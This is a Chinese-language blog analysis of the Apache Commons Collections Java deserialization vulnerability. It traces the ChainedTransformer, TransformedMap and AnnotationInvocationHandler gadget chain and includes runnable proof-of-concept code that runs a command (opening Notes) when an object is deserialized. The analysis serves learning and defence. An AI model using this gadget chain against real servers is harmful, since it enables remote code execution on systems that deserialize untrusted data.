BruceFan's Blog

Stay hungry, stay foolish

0%

Java反序列化漏洞(二)漏洞原理

使用Java反序列化的场景

breenmachine在foxglovesecurity analysis中列出了以下会使用Java反序列化的场景。
Java loves sending serialized objects all over the place. For example:

  • In Http requests - Parameters, ViewState, Cookies, you name it.
  • RMI - The extensively used Java RMI protocol is 100% based on serialization.
  • RMI over HTTP - Many Java thick client web apps use this - again 100% serialized objects.
  • JMX - Again, relies on serialized objects being shot over the wire.
  • Custom Protocols - Sending an receiving raw Java objects is the norm - which we’ll see in some of the exploits to come.

可能存在Java反序列化漏洞的场景

Java中间件通常通过网络接收客户端发送的序列化数据,Java中间件在对序列化数据进行反序列化数据时,会调用被序列化对象的readObject()。如果某个对象的readObject()中能够执行任意代码,那么Java中间件在对其进行反序列化时,也会执行对应的代码。如果能够找到满足上述条件的对象进行序列化并发送给Java中间件,Java中间件也会执行指定的代码,即存在反序列化漏洞。
Java反序列化漏洞需要满足两个条件:
1.Java中间件需要存在客户端进行序列化时使用的类,否则服务器在进行反序列化时会出现ClassNotFoundException异常;
2.客户端选择的进行序列化的类在执行代码时,不会进行任何验证或限制,会完全按照要求执行。
利用Java反序列化漏洞可使服务器执行任意代码,可以直接控制服务器。
本文中分析的是commons-collections-3.2.2.jar,JDK版本是1.8.

利用ChainedTransformer执行代码

以下为利用org.apache.commons.collections.functors.ChainedTransformer类执行任意代码的示例,当执行最后的chain.transform(chain);后,会执行传入的Transformer数组指定的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package serialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CTExec {
public static void main(String args[]) {
Transformer[] transformers_exec_note = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class},
new Object[] {"/usr/bin/open /Applications/Notes.app"})
};
Transformer chain = new ChainedTransformer(transformers_exec_note);
// 能够执行指定的代码
chain.transform(chain);
}
}

在执行最后的chain.transform(chain);方法时,会首先调用ConstantTransformer.transform()获取其构造函数中传入的类,再依次调用InvokeTransformer.transform()执行其构造函数中传入的方法,等价于上一篇文章中”使用Java反射机制调用Runtime类执行程序”的那段代码。
ConstantTransformer类、InvokerTransformer类和ChainedTransformer类的相关代码如下。
ConstantTransformer类的相关代码

ConstantTransformer类的transform()会返回构造函数传入的参数。

1
2
3
4
5
6
7
8
9
10
public class ConstantTransformer implements Transfomer, Serializable {
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
...
}

InvokerTransformer类的相关代码

InvokerTransformer类的transform()可以通过Java反射机制执行指定的代码,能指定所需执行的类、方法及参数,且在transform()中未进行任何验证或限制。transform()中执行的代码的方法名、参数类型及参数值在InvokerTransformer类的构造函数中指定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes,
Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null)
return null;
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
...
}
}

ChainedTransformer类的相关代码

ChainedTransformer类的带参数构造函数中,会将参数中的ConstantTransformerInvokeTransformer数组保存为this.iTransformers对象。在ChainedTransformer类的transform()中,会依次调用this.iTransformers对应的ConstantTransformerInvokerTransformer数组的transform(),且前一次执行transform()的返回值object,会作为下一次执行transform()的参数object。

1
2
3
4
5
6
7
8
9
10
11
12
13
public class ChainedTransformer implements Transformer, Serializable {
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
...
public Object transform(Object object) {
for (int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
...
}

利用TransformedMap类执行代码

以下为通过org.apache.commons.collections.map.TransformedMap类执行任意代码的示例,当执行最后的localEntry.setValue(null);后,会执行Transformer数组里的代码链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package serialize;

import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class TMExec {
static void main(String args[]) {
Transformer[] transformer_exec_note = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class},
new Object[] {"/usr/bin/open /Applications/Notes.app"})
};
Transformer chain = new ChainedTransformer(transformer_exec_note);
Map innerMap = new HashMap();
innerMap.put(null, null);
// outerMap类型为TransformedMap
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
// set类型为AbstractInputCheckedMapDecorator$EntrySet
Set set = outerMap.entrySet();
// localIterator类型为AbstractInputCheckedMapDecorator$EntrySetIterator
Iterator localIterator = set.iterator();
// localEntry类型为AbstractInputCheckedMapDecorator$MapEntry
Map.Entry localEntry = (Map.Entry) localIterator.next();

// 可以触发漏洞
localEntry.setValue(null);
}
}

org.apache.commons.collections.map.TransformedMap类的继承关系如下:

1
2
3
4
org.apache.commons.collections.map.TransformedMap
|-org.apache.commons.collections.map.AbstractInputCheckedMapDecorator
|-org.apache.commons.collections.map.AbstractMapDecorator
|-java.util.Map

调用TransformedMap类的decorate方法

TransformedMap类的decorate()中创建了TransformedMap对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class TransformedMap extends AbstractInputCheckedMapDecorator 
implement Serializable {
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
public static Map decorate(Map map, Transformer keyTransformer,
Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer,
Transformer valueTransformer) {
super(map); // 调用AbstractInputCheckedMapDecorator的构造函数,最终保存为map成员变量
this.keyTransformer = keyTransformer; // 保存为成员变量
this.valueTransformer = valueTransformer;
}
...
}

调用AbstractInputCheckedMapDecorator类的entrySet方法

outerMap.entrySet()调用了TransformedMap类的父类AbstractInputCheckedMapDecoratorentrySet()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
protected boolean isSetValueChecking() {
return true;
}
public Set entrySet() {
if (isSetValueChecking()) {
// 创建EntrySet对象并返回,由于AbstractInputCheckedMapDecorator为抽象类,示例代码执行时,this为TransformedMap类的对象outerMap,this.map为innerMap
return new EntrySet(this.map.entrySet(), this);
}
return this.map.entrySet();
}
...
static class EntrySet extends AbstractSetDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent; // outerMap保存为成员变量
}
...
}
}

调用AbstractInputCheckedMapDecorator$EntrySet类的iterator()

set.iterator()调用了AbstractInputCheckedMapDecorator$iterator类的iterator()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
static class EntrySet extends AbstractSetDecorator {
private final AbstractInputCheckedMapDecorator parent;
public Iterator iterator() {
return new AbstractInputCheckedMapDecorator.EntrySetIterator(
this.collection.iterator(), this.parent);
}
...
}
static class EntrySetIterator extends AbstractInputCheckedMapDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected EntrySetIterator(Iterator iterator,
AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
...
}
...
}

调用AbstractInputCheckedMapDecorator$EntrySetIterator类的next()

localIterator.next()调用了AbstractInputCheckedMapDecorator$EntrySetIterator类的next()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
static class EntrySetIterator extends AbstractIteratorDecorator {
private final AbstractInputCheckedMapDecorator parent;
public Object next() {
Map.Entry entry = (Map.Entry) this.iterator.next();
// 创建MapEntry类的对象并返回,this.parent在上述示例代码中为outerMap
return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
}
...
}
...
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent; // outerMap被保存为成员变量
}
...
}
}

调用AbstractInputCheckedMapDecorator$MapEntry类的setValue()

localEntry.setValue(null)调用了AbstractInputCheckedMapDecorator$MapEntry类的setValue()

1
2
3
4
5
6
7
8
9
10
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
public Object setValue(Object value) {
value = this.parent.checkSetValue(value); // 上述示例代码中,this.parent为outerMap,因此会调用TransformedMap类的checkSetValue()
return this.entry.setValue(value);
}
...
}
}

TransformedMap类的checkSetValue()中,会调用this.valueTransformer.transform()

1
2
3
4
5
6
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value); // outerMap的this.valueTransformer对应chain对象
}
...
}

综上所述,上述示例代码执行localEntry.setValue(null);时,会执行ConstantTransformerInvokerTransformer数组中的代码链。
在代码执行完localIterator.next()后,执行localEntry.getKey()localEntry.getValue()可获取示例代码中通过innerMap.put()添加的键值对。

利用TransformedMap与AnnotationInvocationHandler类执行代码

目前的构造还依赖于触发Map中某一项去调用setValue(),需要想办法通过readObject()直接触发。发现sun.reflect.annotation.AnnotationInvocationHandler类提供了方法接收Map对象,且在readObject()中会调用Map对象的Entry的setValue()
以下为通过TransformedMapAnnotationInvocationHandler类执行任意代码的示例,在执行ois.readObject();后,会执行Transformer数组中的代码链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package serialize;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class AIHExec {
static void main(String args[]) throws ClassNotFoundException, NoSuchMethodException,
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException,
InvocationTargetException, IOException {
Transformer[] transformer_exec_note = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class},
new Object[] {"/usr/bin/open /Applications/Notes.app"})
};
Transformer chain = new ChainedTransformer(transformer_exec_note);
Map innerMap = new HashMap();
// 下面设置key需要为"value",且value不能为null,才能触发漏洞
innerMap.put("value", "tttest");
// outerMap类型为TransformedMap
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
// 调用未包含package中的构造函数,必须通过反射方式
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
//需要用Retention类
Object instance = ctor.newInstance(Retention.class, outerMap);
ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteOut);
out.writeObject(instance);
out.flush();
out.close();
ByteArrayInputStream bais = new ByteArrayInputStream(byteOut.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
// 触发漏洞
Object object = (Object) ois.readObject();
}
}

在上述触发漏洞的示例代码中,会调用AnnotationInvocationHandler类的带参数构造函数与readObject()AnnotationInvocationHandler类的重要变量和方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class type;
private final Map<String, ObjectmemberValues;
...

AnnotationInvocationHandler(Class paramClass, Map<String, ObjectparamMap) {
this.type = paramClass; // Retention.class
this.memberValues = paramMap; // 实例代码中的outerMap
}
...

private void readObject(ObjectInputStream paramObjectInputStream)
throws IOException, ClassNotFoundException {
paramObjectInputStream.defaultReadObject();
AnnotationType localAnnotationType = null;
try {
localAnnotationType = AnnotationType.getInstance(this.type); // this.type为Retention.class
} catch (IllegalArgumentException localIllegalArgumentException) {
return;
}
Map localMap = localAnnotationType.memberTypes(); // localMap存在一个键值对:key="value", value="java.lang.annotation.RetentionPolicy"
Iterator localIterator = this.memberValues.entrySet().iterator(); // this.memberValues对应示例代码中outerMap
while (localIterator.hasNext()) {
Map.Entry localEntry = (Map.Entry) localIterator.next(); // localEntry等价于outerMap.entrySet().iterator().next()
String str = (String) localEntry.getKey(); // "value"
Class localClass = (Class) localMap.get(str); // localMap的value即"java.lang.annotation.RetentionPolicy"
if (localClass != null) {
Object localObject = localEntry.getValue(); // "tttest"

if ((!(localClass.isInstance(localObject))) // localObject不是localClass的实例
&& (!(localObject instanceof ExceptionProxy))) // localObject不是ExceptionProxy的实例
// 调用了localEntry变量的setValue方法触发漏洞
localEntry.setValue(new AnnotationTypeMismatchExceptionProxy(
localObject.getClass() + "[" + localObject
+ "]")
.setMember((Method) localAnnotationType
.members().get(str)));
}
}
}
...
}

这篇文章介绍了Java反序列化漏洞利用的过程,后面还会对实际利用和检测进行介绍。
补充:
本来还想继续深入了解一下Java的反序列化漏洞,比如Java中间件中的反序列化漏洞利用,但是看到CVE-2014-7911,发现Android中的反序列化和Java中的好像还不太一样,Android中的反序列化是反序列化了一个不可序列化的对象,在反序列化时发生了类型混淆,导致成员变量被当做成员函数调用。具体细节后面会写文章进行介绍。
reference
JAVA反序列化漏洞完整过程分析与调试
Lib之过?Java反序列化漏洞通用利用分析